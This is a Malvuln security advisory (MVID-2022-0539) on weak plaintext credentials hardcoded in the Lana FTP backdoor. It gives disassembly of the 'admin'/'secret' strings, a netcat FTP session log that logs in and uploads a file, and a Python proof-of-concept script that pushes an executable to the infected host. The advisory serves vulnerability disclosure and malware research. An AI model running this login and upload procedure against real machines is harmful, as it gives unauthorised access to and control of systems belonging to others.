Backdoor.Win32.FTP.Lana.01.d / Weak Hardcoded Credentials

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Credentials
Family: Lana
Type: PE32
MD5: ea9ab5983a6fa71e31907e74d4ddbab6
Vuln ID: MVID-2022-0539
Dropped files: sersvc32.exe
Disclosure: 04/06/2022
Description: The malware listens in TCP port 9003. The credentials "admin"
and "secret" are weak and stored in plaintext with the executable.

00404004 aAdmin          db 'admin',0            ; DATA XREF 00401FBF
00404004                                         ; sub_402765+4A3↑o
00404019 aSecret         db 'secret',0           ; DATA XREF 00401FA8

Exploit/PoC:
nc64.exe x.x.x.x 9003
220 Silver FTP v1.1

USER admin

331 Password required for admin.

PASS secret

230 User logged in, proceed.

SYST

215 UNIX Type: L8

PASV

227 Entering Passive Mode (192,168,18,125,195,84).

STOR DOOM.exe

150 Data connection accepted.

226 Transfer ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=50004
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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